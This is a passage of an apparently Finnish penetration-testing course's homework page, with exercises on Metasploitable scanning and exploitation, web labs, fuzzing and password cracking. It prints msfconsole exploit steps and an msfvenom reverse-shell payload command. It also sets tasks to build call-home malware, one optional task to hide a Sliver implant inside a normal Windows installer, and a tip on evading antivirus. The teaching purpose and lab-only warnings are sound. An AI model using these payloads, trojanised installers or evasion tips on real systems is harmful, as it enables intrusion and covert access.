&lt;li>Ongelmallisista kohdista raportoidaan erityisen tarkasti, jotta voimme antaa vinkkejä haasteisiin.&lt;/li>
&lt;/ul>
&lt;h3 id="h2-dora-the-explora">h2 DORA the Explora&lt;/h3>
&lt;p>&lt;em>Can you say TIBER-FI?&lt;/em>&lt;/p>
&lt;ul>
&lt;li>x) Lue/katso/kuuntele ja tiivistä. (Tässä x-alakohdassa ei tarvitse tehdä testejä tietokoneella, vain lukeminen tai kuunteleminen ja tiivistelmä riittää. Tiivistämiseen riittää muutama ranskalainen viiva. Lisää mukaan jokin oma havainto, idea tai kysymys)
&lt;ul>
&lt;li>Buuri 2026: &lt;a href="https://terokarvinen.com/buuri-2026-dora-and-threat-lead-penetration-testing/buuri-2026-dora-and-threat-lead-penetration-testing--teros-pentest-course.pdf">DORA and TLPT testing - Lecture for Haaga-Helia on 31 March 2026&lt;/a> (pdf, 2 MB)&lt;/li>
&lt;li>&lt;a href="https://eur-lex.europa.eu/eli/reg/2022/2554/oj/eng">DORA (Regulation ... on digital operational resilience for the financial sector)&lt;/a> (vain nämä kaksi artiklaa):
&lt;ul>
&lt;li>Article 26 &amp;quot;Advanced testing of ICT tools, systems and processes based on TLPT&amp;quot;&lt;/li>
&lt;li>Article 27 &amp;quot;Requirements for testers for the carrying out of TLPT&amp;quot;&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;a href="https://www.suomenpankki.fi/globalassets/bof/en/money-and-payments/the-bank-of-finland-as-catalyst-payments-council/tiber-fi/tiber-fi-2.0-procedures-and-guidelines.pdf">TIBER-FI procedures and guidelines&lt;/a> (pdf, 1 MB) (vain tämä kohta):
&lt;ul>
&lt;li>5.4 Testing phase: Red team testing (johdantokappale suoraan 5.4 alta, &amp;quot;5.4.1 Red team test plan creation&amp;quot; alkuun asti)&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Vapaaehtoinen bonus: Buuri 2026: &lt;a href="https://youtu.be/z6KIEEknKjM?si=7n8cNWynzMrEwdWZ">D26 - Releasing Your Inner TIBER in Regulated Adversary Simulations&lt;/a>. Video, 45 min. Disobey 2026.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>a) Asenna Metasploitable 2 virtuaalikoneeseen.&lt;/li>
&lt;li>b) Tee Kalin ja Metasploitablen välille virtuaaliverkko. Jos säätelet VirtualBoxista
&lt;ul>
&lt;li>Kali saa yhteyden Internettiin, mutta sen voi laittaa pois päältä&lt;/li>
&lt;li>Kalin ja Metasploitablen välillä on host-only network, niin että porttiskannatessa ym. koneet on eristetty intenetistä, mutta ne saavat yhteyden toisiinsa&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>c) Harjoittelemme omassa virtuaaliverkossa, jossa on Kali ja Metaspoitable. Osoita testein, että 1) koneet eivät saa yhteyttä Internetiin 2) Koneet saavat yhteyden toisiinsa.&lt;/li>
&lt;li>d) Etsi Metasploitable porttiskannaamalla (nmap -sn). Tarkista selaimella, että löysit oikean IP:n - Metasploitablen weppipalvelimen etusivulla lukee Metasploitable.&lt;/li>
&lt;li>e) Porttiskannaa Metasploitable huolellisesti ja kaikki portit (nmap -A -T4 -p-). Poimi 2-3 hyökkääjälle kiinnostavinta porttia. Analysoi ja selitä tulokset näiden porttien osalta. Voit hakea analyysin tueksi tietoa verkosta, muista merkitä lähteet.&lt;/li>
&lt;li>f) Vapaaehtoinen bonus: Sisään vaan. Pääsetkö murtautumaan Metasploitableen?&lt;/li>
&lt;li>g) Vapaaehtoinen bonus: jos haluat, voit jo kokeilla metasploit-hyökkäysohjelmaa omaan harjoitusmaaliisi. Tätä katsotaan myöhemmin yhdessäkin. (Muista irrottaa kone Internetistä kokeilujen ajaksi. 'sudo msfdb init', 'sudo msfconsole').&lt;/li>
&lt;/ul>
&lt;p>Vinkkejä&lt;/p>
&lt;ul>
&lt;li>Virtuaalikoneiisin voi asentaa uusia verkkokortteja vain, kun ne ovat sammuksissa&lt;/li>
&lt;li>Kannattaa lukea Valkamon artikkelista VirtualBox-osuus ennenkuin ryhdyt asentamaan virtuaalikoneita. Valkamo 2022: &lt;a href="https://tuomasvalkamo.com/PenTestCourse/week-2/">Hacking into a Target Using Metasploit&lt;/a>: Metasploitable&lt;/li>
&lt;li>VirtualBoxissa host-only-networking on kätevä. Voit laittaa Kaliin kaksi verkkokorttia, toinen NAT:lla Internetiin ja toinen host-only-network:n. Verkkoasetusten advanced-kohdasta voi vetää virtuaalisen verkkokaapelin irti ja kiinni, vaikka kone on päällä.&lt;/li>
&lt;li>Jos Metasploitable 2 -maali ei löydy omasta verkosta (arp, arpwatch, netdiscover, nmap -sn...), voit kirjatua sisään (msfadmin:msfadmin) ja 'ifconfig' tai 'ip addr'. Metasploitable 2:n kannattaa laittaa vain yksi &amp;quot;Host only networking&amp;quot; verkkokortti, se ei toimi itsestään kahden verkkokortin kanssa.&lt;/li>
&lt;/ul>
&lt;h3 id="h3-eternalhomework">h3 EternalHomework&lt;/h3>
&lt;ul>
&lt;li>x) Lue/katso/kuuntele ja tiivistä. (Tässä x-alakohdassa ei tarvitse tehdä testejä tietokoneella, vain lukeminen tai kuunteleminen ja tiivistelmä riittää. Tiivistämiseen riittää muutama ranskalainen viiva.)
&lt;ul>
&lt;li>€ Jaswal 2020: Mastering Metasploit - 4ed: Chapter 1: Approaching a Penetration Test Using Metasploit&lt;/a> (kohdasta &lt;a href="https://learning.oreilly.com/library/view/mastering-metasploit/9781838980078/B15076_01_Final_ASB_ePub.xhtml#_idParaDest-31">Conducting a penetration test with Metasploit&lt;/a> luvun loppuun eli &amp;quot;Summary&amp;quot; loppuun)&lt;/li>
&lt;li>Mitä 'nmap -sn' tekee? Älä arvaa, vaan perustele lähteillä. Mistä tiedät, että käyttämäsi lähde on luotettava?&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>b) Tallenna porttiskannauksen tuloksia Metasploitin tietokantoihin. Skannaa niin, että Metasploitable tulee mukaan. Kannattaa ottaa mukaan ainakin versioskannaus -sV (joka on banner grabbing plus).&lt;/li>
&lt;li>c) Tarkastele Metasploitin tietokantoihin tallennettuja tietoja komennoilla &amp;quot;hosts&amp;quot; ja &amp;quot;services&amp;quot;. Kokeile suodattaa näitä listoja tai hakea niistä.&lt;/li>
&lt;li>d) Internet famous. Etsi Metasploitablen mukana tulevista hyökkäyksistä (en: exploits; search) sellainen, joka on ollut julkisuudessa.&lt;/li>
&lt;li>e) Vertaile nmap:n omaa tiedostoon tallennusta (-oA foo) ja db_nmap:n tallennusta tietokantoihin. Mitkä ovat eri tiedostomuotojen ja Metasploitin tietokannan hyvät puolet?&lt;/li>
&lt;li>f) Murtaudu Metasploitablen vsftpd-palveluun&lt;/li>
&lt;li>g) Kerää levittäytymisessä (lateral movement) tarvittavaa tietoa metasploitablesta. Analysoi tiedot. Selitä, miten niitä voisi hyödyntää.&lt;/li>
&lt;li>h) Murtaudu Metasploitableen jollain toisella tavalla. (Jos tämä kohta on vaikea, voit tarvittaessa turvautua verkosta löytyviin läpikävelyohjeisiin. Merkitse silloin raporttiin, missä määrin tarvitsit niitä).&lt;/li>
&lt;li>i) Demonstroi Meterpretrin ominaisuuksia.&lt;/li>
&lt;li>j) Tallenna shell-sessio tekstitiedostoon script-työkalulla (script -fa log001.txt) tai tmux:lla.&lt;/li>
&lt;li>k) Pivot point. Laita kaikki harjoituksen tiedostot (script -fa, nmap -oA...) samaan kansioon. Hae sopiva pivot point (sovellus, versio, osoite, MAC-numero) 'grep -r' -komennolla. Keksi uskottava esimerkkikysymys, johon haet vastausta.&lt;/li>
&lt;li>l) Attaaack! Mitä Mitre Attack taktiikoita ja tekniikoita käytit tässä harjoituksessa? (Tässä alakohdassa &amp;quot;Attaack!&amp;quot; ei tarvitse tehdä lisää testejä koneella, koska testit on jo tehty.)&lt;/li>
&lt;li>m) Vapaaehtoinen: Etsi esimerkki Mitre Attack proseduurista (procedure), jossa joku uhkatoimija on käyttänyt samoja tekniikoita.&lt;/li>
&lt;li>n) Vapaaehtoinen: Titityy. Saatko Metasploitableen tty-shellin, eli esimerkiksi avattua koko ruudulle piirtävän nano:n?&lt;/li>
&lt;li>o) Vapaaehtoinen, vaikea: Kokeile jotain kilpailevaa hyökkäystyökalua tai vihamielistä etäkäyttötyökalua, kuten &lt;a href="https://sliver.sh/">Sliver&lt;/a> tai Scarecrow.&lt;/li>
&lt;li>p) Vapaaehtoinen: Asenna ja korkkaa Metasploitable 3. Karvinen 2018: &lt;a href="https://terokarvinen.com/2018/install-metasploitable-3-vulnerable-target-computer/">Install Metasploitable 3 – Vulnerable Target Computer&lt;/a>&lt;/li>
&lt;li>q) Vapaaehtoinen: Peekaboo. Demonstroi, kuinka hyökkääjä vakoilee meterpreterillä. Kuuntele mikrofonilla, ota kuvia tai videota kameralla. (Huolehdi, ettei ulkopuolisia joudu kuunnelluksi tai katselluksi.)&lt;/li>
&lt;/ul>
&lt;p>&lt;strong>Vinkkejä&lt;/strong>&lt;/p>
&lt;ul>
&lt;li>O'Reilly Learning videot ja kirjat pääset lukemaan ilmaiseksi HH tunnuksilla, kun kirjaudut kirjaston kautta.&lt;/li>
&lt;li>Jos Metasploitable 2 -maali ei löydy omasta verkosta (arp, arpwatch, netdiscover, nmap -sn...), voit kirjatua sisään (msfadmin:msfadmin) ja 'ifconfig' tai 'ip addr'. Metasploitable 2:n kannattaa laittaa vain yksi &amp;quot;Host only networking&amp;quot; verkkokortti, se ei toimi itsestään kahden verkkokortin kanssa.&lt;/li>
&lt;li>Murtautumiseen Metasploitable 2:n löytyy esimerkkiratkaisuja &lt;a href="https://docs.rapid7.com/metasploit/metasploitable-2-exploitability-guide">Metasploitable 2 Exploitability Guide&lt;/a>. Tämä on läpikävelyohje, joten kannattaa yrittää ensin itse.&lt;/li>
&lt;li>&lt;a href="https://attack.mitre.org/">Mitre Attack Enterprise Matrix&lt;/a>
&lt;ul>
&lt;li>Tactic, välitavoitteita, esim. &lt;a href="https://attack.mitre.org/tactics/TA0003/">TA0003 Persistence&lt;/a>&lt;/li>
&lt;li>Techique, keinoja, esim. &lt;a href="https://attack.mitre.org/techniques/T1189/">T1189 Drive-by Compromise&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://attack.mitre.org/resources/faq/">Mitre FAQ&lt;/a>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>grep -ir
&lt;ul>
&lt;li>grep -ir -C 3 --color=always terokarvinen.com|less -R&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;p>&lt;strong>MsfConsole vinkit (ulkomuistista)&lt;/strong>&lt;/p>
&lt;p>Tässä siis ulkomuistista, voit etsiä näistä lisätietoa ja oikean kirjoitusasun.&lt;/p>
&lt;pre>&lt;code>$ sudo msfdb init
$ sudo msfconsole
msf&amp;gt; db_nmap localhost
msf&amp;gt; services
msf&amp;gt; hosts
msf&amp;gt;
msf&amp;gt; workspaces
msf&amp;gt; sessions
msf&amp;gt; sessions --help
msf&amp;gt;
msf&amp;gt; search vsftpd
msf&amp;gt; use 0
msf&amp;gt; setg RHOSTS 127.0.0.1 # huolellisesti, tähän hyökätään kohta
msf&amp;gt;
msf&amp;gt; show options
msf&amp;gt; exploit
msf&amp;gt;
msf&amp;gt; sessions 1
shell
ctrl-Z
msf&amp;gt; session -u 1
&lt;/code>&lt;/pre>
&lt;h3 id="h4-taysin-laillinen-sertifikaatti">h4 Täysin Laillinen Sertifikaatti&lt;/h3>
&lt;ul>
&lt;li>x) Lue/katso ja tiivistä. (Tässä x-alakohdassa ei tarvitse tehdä testejä tietokoneella, vain lukeminen tai kuunteleminen ja tiivistelmä riittää. Tiivistämiseen riittää muutama ranskalainen viiva kustakin artikkelista - ei pitkiä esseitä. Kannattaa lisätä myös jokin oma ajatus, idea, huomio tai kysymys.)
&lt;ul>
&lt;li>OWASP 2021: OWASP Top 10:2021
&lt;ul>
&lt;li>&lt;a href="https://owasp.org/Top10/A01_2021-Broken_Access_Control/">A01:2021 – Broken Access Control &lt;/a> (IDOR ja path traversal ovat osa tätä)&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>PortSwigget Academy:
&lt;ul>
&lt;li>&lt;a href="https://portswigger.net/web-security/access-control/idor">Insecure direct object references (IDOR)&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://portswigger.net/web-security/file-path-traversal">Path traversal&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://portswigger.net/web-security/cross-site-scripting">Cross-site scripting&lt;/a>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>a) Totally Legit Sertificate. Asenna OWASP ZAP, generoi CA-sertifikaatti ja asenna se selaimeesi. Laita ZAP proxyksi selaimeesi. Laita ZAP sieppaamaan myös kuvat, niitä tarvitaan tämän kerran kotitehtävissä. Osoita, että hakupyynnöt ilmestyvät ZAP:n käyttöliittymään. (Voi vaatia Firefox about:config network.proxy.allow_hijacking_localhost. Foxyproxy laittoi tämän aiemmin päälle itse. Kalin Firefox ESR oli viimeksi ongelmia Foxyproxyn kanssa - vaihtoehtona on asettaa Proxy käsin Settings, hakusana &amp;quot;proxy&amp;quot;)&lt;/li>
&lt;li>b) Kettumaista. Asenna &amp;quot;FoxyProxy Standard&amp;quot; Firefox Addon, ja lisää ZAP proxyksi siihen. Käytä FoxyProxyn &amp;quot;Patterns&amp;quot; -toimintoa, niin että vain valitsemasi weppisivut ohjataan Proxyyn. (Läksyssä ohjataan varmaankin PortSwigger Labs ja localhost.)&lt;/li>
&lt;li>PortSwigger Labs. Ratkaise tehtävät. Selitä ratkaisusi: mitä palvelimella tapahtuu, mitä eri osat tekevät, miten hyökkäys löytyi, mistä vika johtuu. Kannattaa käyttää ZAPia, vaikka malliratkaisut käyttävät harjoitusten tekijän maksullista ohjelmaa. Monet tehtävät voi ratkaista myös pelkällä selaimella. Malliratkaisun kopioiminen ZAP:n tai selaimeen ei ole vastaus tehtävään, vaan ratkaisu ja haavoittuvuuden etsiminen on selitettävä ja perusteltava.
&lt;ul>
&lt;li>Cross Site Scripting (XSS)
&lt;ul>
&lt;li>c) &lt;a href="https://portswigger.net/web-security/cross-site-scripting/reflected/lab-html-context-nothing-encoded">Reflected XSS into HTML context with nothing encoded&lt;/a>&lt;/li>
&lt;li>d) &lt;a href="https://portswigger.net/web-security/cross-site-scripting/stored/lab-html-context-nothing-encoded">Stored XSS into HTML context with nothing encoded&lt;/a>&lt;/li>
&lt;li>e) Selitä esimerkin avulla, mitä hyökkääjä hyötyy XSS-hyökkäyksestä. Alert(&amp;quot;Hei Tero!&amp;quot;) ei vielä tarjoa kummoista pääsyä. (Tässä alakohdassa ei tarvitse tehdä testejä tietokoneella, pelkkä lyhyt ja selkeä selitys riittää.)&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Path traversal
&lt;ul>
&lt;li>f) &lt;a href="https://portswigger.net/web-security/file-path-traversal/lab-simple">File path traversal, simple case&lt;/a>. Laita tarvittaessa Zapissa kuvien sieppaus päälle.&lt;/li>
&lt;li>g) &lt;a href="https://portswigger.net/web-security/file-path-traversal/lab-absolute-path-bypass">File path traversal, traversal sequences blocked with absolute path bypass&lt;/a>&lt;/li>
&lt;li>h) &lt;a href="https://portswigger.net/web-security/file-path-traversal/lab-sequences-stripped-non-recursively">File path traversal, traversal sequences stripped non-recursively&lt;/a>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Insecure Direct Object Reference (IDOR)
&lt;ul>
&lt;li>i) &lt;a href="https://portswigger.net/web-security/access-control/lab-insecure-direct-object-references">Insecure direct object references&lt;/a>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>j) Vapaaehtoinen, helppo: Asenna &lt;a href="https://github.com/ffuf/pencode">pencode&lt;/a> ja muunna sillä jokin merkkijono (encode a string).&lt;/li>
&lt;li>k) Vapaaehtoinen: Mitmproxy. Asenna MitmProxy. Esittele sitä terminaalissa (TUI). Ota TLS-purku käyttöön. Poimi historiasta hakupyyntö, muokkaa sitä ja lähetä uudelleen.&lt;/li>
&lt;li>l) Vapaaehtoinen: Ratkaise lisää PortSwigger Labs -tehtäviä. Kannattaa tehdä helpoimmat &amp;quot;Apprentice&amp;quot; -tason tehtävät ensin.&lt;/li>
&lt;/ul>
&lt;p>Vinkit&lt;/p>
&lt;ul>
&lt;li>Firefox ei enää ohjaa proxyyn liikennettä mihinkään 127-alkuiseen IP-osoitteeseen eikä localhostiin. Foxyproxy tai about:config network.proxy.allow_hijacking_localhost auttaa&lt;/li>
&lt;li>Zap asennus
&lt;ul>
&lt;li>Nykyisin Kalissa 'sudo apt-get install zaproxy', 'zaproxy' näytti toimivan, joten kannattaa kokeilla sitä ensin.&lt;/li>
&lt;li>&lt;a href="https://www.zaproxy.org/download/">OWASP ZAP Download-sivun&lt;/a> sopivin JAR on &amp;quot;Cross Platform Package&amp;quot;, noin 250 MB.&lt;/li>
&lt;li>Kalissa 'sudo apt-get install zaproxy'&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Proxya voi testata vaikkapa Metasploitablen weppipalveluiden kanssa. Tai &lt;a href="https://terokarvinen.com/2024/webgoat-podman/">asentaa WebGoatin Podmaniin&lt;/a>. Tai käyttää läksyn PortSwigger Labsin harjoituksia.
&lt;ul>
&lt;li>Älä tee hyökkäyksiä mihinkään muualle kuin harjoitusmaaleihin&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>ZAP TLS-yhteyksien avaamiseen CA-sertifikaatti
&lt;ul>
&lt;li>Löytyy Tools: Options: Network alta, hakusanaksi &amp;quot;Certificate&amp;quot;.
&lt;ul>
&lt;li>Joissain versioissa haku ei suodata listaa, vaan värittää osumat oranssilla. Ja tietysti oikea sertifikaatti on piilossa, niin että pitää klikkaamalla avata listaa. Sertifikaattikohtia on kaksi, tässä turha asiakkaan sertifikaatti ja oikea, tarvittava palvelimen sertifikaatti (Server Certificate tms).&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Firefoxissa Settings ja hakusanaksi &amp;quot;Certificate&amp;quot;&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>ZAP:n tärkein toiminto: Requester tab.
&lt;ul>
&lt;li>Löytyy historiasta oikeaa nappia painamalla. Myös Ctrl-W.&lt;/li>
&lt;li>Muokkaa hakupyyntöä ja lähetä. Vastaus näkyy vieresssä. Korjaa ja lähetä uudelleen.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>ZAP hakupyynnön pysäytys
&lt;ul>
&lt;li>Vain, jos Requester eli saman pyynnön uudelleenlähetys ei toimi.&lt;/li>
&lt;li>Puussa olevista osoitteista oikeaa nappia, menusta &amp;quot;Break...&amp;quot;&lt;/li>
&lt;li>Tee pyyntö selaimella&lt;/li>
&lt;li>Pyyntö näkyy ZAPissa oikealla ylhäällä &amp;quot;Break&amp;quot; välilehdellä.&lt;/li>
&lt;li>Muokaa pyynnön tekstiä, lähetä eteenpäin yläreunan työkalupallin Play-symbolia klikkaamalla&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>ZAP kuvien sieppaus muistaakseni Options: Display: ...images.
&lt;ul>
&lt;li>Osa tässäkin läksynä olevista harjoituksista edellyttää, että kuvien sieppaus on päällä.&lt;/li>
&lt;li>Monissa ZAP:n versioissa jättää kokonaan kuvat näyttämättä oletuksena.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>PortSwiggerin tehtävissä voi käyttää välimiesproxyna ZAP:ia tai MitmProxya. Ei siis tarvitse ostaa noiden harjoitusten tekijän kuuluisaa ohjelmaa.&lt;/li>
&lt;li>Pencoder - loistava ohjelma stringien muunteluun fuff:n tekijältä. Esim. URLEncode, base64...
&lt;ul>
&lt;li>Pencoder asennus ulkomuistista: hae Github-sivu &amp;quot;fuff pencode&amp;quot;, Releases, pencode*linux_amd64.tar.gz, pura paketti, aja valmis binääri, kopioi se /usr/local/bin/.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Viittaa
&lt;ul>
&lt;li>Viittasithan kurssiin ja tehtäväsivuun?&lt;/li>
&lt;li>Viittasithan kaikkiin käyttämiisi artikkeleihin?&lt;/li>
&lt;li>Viittasithan muiden tehtäväraportteihin, jos käytit lähteenä?&lt;/li>
&lt;li>Videoihin, man-sivuihin, ohjelmiin, StackOverflowhun...&lt;/li>
&lt;li>Viittasithan kaikkiin muihinkin lähteisiin?&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Hakkeroimaan oppii hakkeroimalla.&lt;/li>
&lt;/ul>
&lt;h3 id="h5-fuzzy">h5 Fuzzy&lt;/h3>
&lt;p>&lt;em>Opit käyttämään maailman johtavaa weppifuzzeria: ffuf.&lt;/em>&lt;/p>
&lt;ul>
&lt;li>x) Lue/katso/kuuntele ja tiivistä. (Tässä x-alakohdassa ei tarvitse tehdä testejä tietokoneella, vain lukeminen tai kuunteleminen ja tiivistelmä riittää. Tiivistämiseen riittää muutama ranskalainen viiva. Lisää mukaan jokin oma idea, huomio, kysymys tai kommentti.)
&lt;ul>
&lt;li>Karvinen 2023: &lt;a href="https://terokarvinen.com/2023/fuzz-urls-find-hidden-directories/">Find Hidden Web Directories - Fuzz URLs with ffuf&lt;/a>&lt;/li>
&lt;li>Jompi kumpi, Hoikkalan video tai teksti:
&lt;ul>
&lt;li>Hoikkala 2023: &lt;a href="https://github.com/ffuf/ffuf/blob/master/README.md">ffuf README.md&lt;/a>, tai&lt;/li>
&lt;li>Hoikkala &amp;quot;joohoi&amp;quot; 2020: &lt;a href="https://www.youtube.com/watch?v=mbmsT3AhwWU">Still Fuzzing Faster (U fool)&lt;/a>. In HelSec Virtual meetup #1. (Noin tunnin mittainen)&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>a) Fuzzzz. Ratkaise dirfuz-1 artikkelista Karvinen 2023: &lt;a href="https://terokarvinen.com/2023/fuzz-urls-find-hidden-directories/">Find Hidden Web Directories - Fuzz URLs with ffuf&lt;/a>.&lt;/li>
&lt;li>b) Fuff me. Asenna FuffMe-harjoitusmaali. Karvinen 2023: &lt;a href="https://terokarvinen.com/2023/fuffme-web-fuzzing-target-debian">Fuffme - Install Web Fuzzing Target on Debian&lt;/a>&lt;/li>
&lt;li>Ratkaise ffufme harjoitukset - kaikki paitsi ei &amp;quot;Content Discovery - Pipes&amp;quot;.
&lt;ul>
&lt;li>c) Basic Content Discovery&lt;/li>
&lt;li>d) Content Discovery With Recursion&lt;/li>
&lt;li>e) Content Discovery With File Extensions&lt;/li>
&lt;li>f) No 404 Status&lt;/li>
&lt;li>g) Param Mining&lt;/li>
&lt;li>h) Rate Limited&lt;/li>
&lt;li>i) Subdomains - Virtual Host Enumeration&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="h6-koita-simpukoita">h6 Koita simpukoita&lt;/h3>
&lt;p>&lt;em>Mitä kirjainta pitää painaa? Missä on &amp;quot;any key&amp;quot;? Nyt joudut itse hakemaan ohjeita verkosta työkalujen käyttöön, mikä tekee monesta kohdasta haastavamman.&lt;/em>&lt;/p>
&lt;p>&lt;em>Mikään tässä harjoituksessa tehty tai käytetty ohjelma ei saa olla itsestään leviävä (ei virus, ei mato).&lt;/em>&lt;/p>
&lt;p>&lt;em>Useimmat tehtävät eivät edellytä haittaohjelman binäärin liittämistä raporttiin. Mikäli laitat binäärin verkkoon, pakkaa se salakirjoitettuun zip-pakettiin ja laita salasanaksi yleisen käytännön mukaan &amp;quot;infected&amp;quot;. Latauslinkin yhteydessä on oltava selkeä varoitus siitä, että kyseessä on haittaohjelma (malware), jota ei tule ajaa tuotantokoneilla. Salasanan voit halutessasi kertoa varoitusten yhteydessä.&lt;/em>&lt;/p>
&lt;ul>
&lt;li>a) Venom. Tee msfvenom-työkalulla haittaohjelma, joka soittaa kotiin (reverse shell). Ota yhteys vastaan metasploitin multi/handler -työkalulla.&lt;/li>
&lt;li>b) Snif venom! Tarkastele ja analysoi msfvenomin muodostamaa reverse shell -yhteyttä. Käytä snifferiä, kuten Wireshark. Mitä havaitset? Mistä ominaisuuksista yhteyden voi tunnistaa? Millä muutoksilla tunnistamista voi vaikeuttaa?&lt;/li>
&lt;li>c) Hello, Sliver. Näytä esimerkki http-yhteydestä Sliverillä.&lt;/li>
&lt;li>d) Sniff Sliver! Tarkastele Sliverin http-yhteyttä snifferillä. Mitä havaitset? Mistä ominaisuuksista yhteyden voi tunnistaa?&lt;/li>
&lt;li>e) Sliverillä voit muuttaa yhteyden ominaisuuksia. Kokeile ja näytä esimerkki. Muista todeta testein, että muutokset toimivat.&lt;/li>
&lt;li>f) Sliverillä voi tehdä monenlaista kohteessa, ruutukaappauksista alkaen. Näytä esimerkkejä toiminnoista.&lt;/li>
&lt;li>g) Vapaaehtoinen: Kokeile Sliver-binääriä Windowsissa.&lt;/li>
&lt;li>h) Vapaaehtoinen: Tee Windows-asennusohjelma, joka asentaa jonkin tavallisen ohjelman ja sen yhteydessä Sliver-haitakkeen.&lt;/li>
&lt;li>i) Vapaaehtoinen: Kokeile Veil.&lt;/li>
&lt;li>j) Vapaaehtoinen: Kokeile ScareCrow.&lt;/li>
&lt;li>k) Vapaaehtoinen: Tee PoshC2-työkalulla haittaohjelma, joka soittaa kotiin.&lt;/li>
&lt;li>l) Vapaaehtoinen: Tee Mythic-työkalulla haittaohjelma, joka soittaa kotiin.&lt;/li>
&lt;li>m) Vapaaehtoinen: Asenna Windows-virtuaalikone ja tee kotiin soittava haittaohjelma siihen. Itse tykkään Linuxista ja käytän paljon sitä, tässä hieman vaihtelua. Windows-käyttäjät ovat myös usein tottuneet (paketinhallinnan puutteessa) lataamaan ohjelmia weppisivuilta.&lt;/li>
&lt;/ul>
&lt;p>Vinkit&lt;/p>
&lt;ul>
&lt;li>Irrota tarvittasessa koneet netistä testien ajaksi.&lt;/li>
&lt;li>Metasploit msfconsole multi/handler
&lt;ul>
&lt;li>laita samat asetukset kuin msfvenom&lt;/li>
&lt;li>muista 'set payload'&lt;/li>
&lt;li>'run -j' ajaa taustalla, sessiot ovat 'sessions'&lt;/li>
&lt;li>prosessoriarkkitehtuuri kohteen mukaan&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Reverse shell:
&lt;ul>
&lt;li>Palvelimen päässä pitää olla reikä tulimuurissa.&lt;/li>
&lt;li>Reverse shell tarkoittaa, että palvelin (server, kuunteleva portti) on hyökkäyskoneella.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Sliveriin kannattaa tarvittaessa hakea ohjeita myös tekoälyllä. Vielä joitakin kuukausia sitten Sliverin omissa ohjeissa oli ärsyttäviä virheitä - toivottavasti ne on jo korjattu.&lt;/li>
&lt;li>Jos liität haittaohjelmien binäärejä raporttiin, pitää estää niiden asentaminen vahingossa
&lt;ul>
&lt;li>Salakirjoitettu zip-paketti, salasana &amp;quot;infected&amp;quot;&lt;/li>
&lt;li>Varoitus lautauslinkin yhteyteen: haittaohjelma / malware&lt;/li>
&lt;li>Jos testaat eristetyissä laboratorioympäristöissä virustorjunnan ohitusta, niin tietysti siinä käytetään vain sisältöä ja vältetään pahoja sanoja &amp;quot;malware&amp;quot;, &amp;quot;infected&amp;quot;, &amp;quot;meterpreter&amp;quot;...&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Muista ht8 lipunryöstöä aloittelijoille&lt;/li>
&lt;/ul>
&lt;p>Esimerkki ulkomuistista, pitää itse soveltaa&lt;/p>
&lt;pre>&lt;code>$ msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=8080 -o infected
&lt;/code>&lt;/pre>
&lt;h3 id="h7-toukokuu2026">h7 Toukokuu2026!&lt;/h3>
&lt;p>&lt;em>Nyt levitään! Opit murtamaan salasanoja. Huomaa myös h8 bonus.&lt;/em>&lt;/p>
&lt;ul>
&lt;li>x) Lue/katso ja tiivistä. (Tässä x-alakohdassa ei tarvitse tehdä testejä tietokoneella, vain lukeminen tai kuunteleminen ja tiivistelmä riittää. Tiivistämiseen riittää muutama ranskalainen viiva kustakin artikkelista. Kannattaa lisätä myös jokin oma ajatus, idea, huomio tai kysymys.)
&lt;ul>
&lt;li>Karvinen 2022: &lt;a href="https://terokarvinen.com/2022/cracking-passwords-with-hashcat/">Cracking Passwords with Hashcat&lt;/a>&lt;/li>
&lt;li>Karvinen 2023: &lt;a href="https://terokarvinen.com/2023/crack-file-password-with-john/">Crack File Password With John&lt;/a>&lt;/li>
&lt;li>Vapaaehtoinen: € Santos et al 2017: Security Penetration Testing - The Art of Hacking Series LiveLessons: &lt;a href="https://learning.oreilly.com/videos/security-penetration-testing/9780134833989/9780134833989-sptt_00_06_00_00">Lesson 6: Hacking User Credentials&lt;/a> (8 videos, about 30 min)&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>a) Asenna Hashcat ja testaa sen toiminta murtamalla esimerkkisalasana.&lt;/li>
&lt;li>c) Asenna John the Ripper ja testaa sen toiminta murtamalla jonkin esimerkkitiedoston salasana.&lt;/li>
&lt;li>e) Tiedosto. Tee itse tai etsi verkosta jokin salakirjoitettu tiedosto, jonka saat auki. Murra sen salaus. (Jokin muu formaatti kuin aiemmissa alakohdissa kokeilemasi).&lt;/li>
&lt;li>f) Tiiviste. Tee itse tai etsi verkosta salasanan tiiviste, jonka saat auki. Murra sen salaus. (Jokin muu formaatti kuin aiemmissa alakohdissa kokeilemasi. Voit esim. tehdä käyttäjän Linuxiin ja murtaa sen salasanan.)&lt;/li>
&lt;li>g) Sanakirja. Oman sanakirjan teko parantaa onnistumismahdollisuuksia. Demonstroi, kuinka teet oman sanakirjan hashcat:n tai john:iin.&lt;/li>
